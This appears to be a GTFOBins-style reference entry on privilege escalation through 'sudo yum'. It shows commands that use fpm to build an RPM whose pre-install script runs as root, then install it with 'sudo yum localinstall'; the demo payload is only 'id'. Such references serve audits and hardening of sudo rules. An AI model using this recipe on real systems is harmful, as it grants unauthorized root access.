It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
sudo yum localinstall -y x-1.0-1.noarch.rpm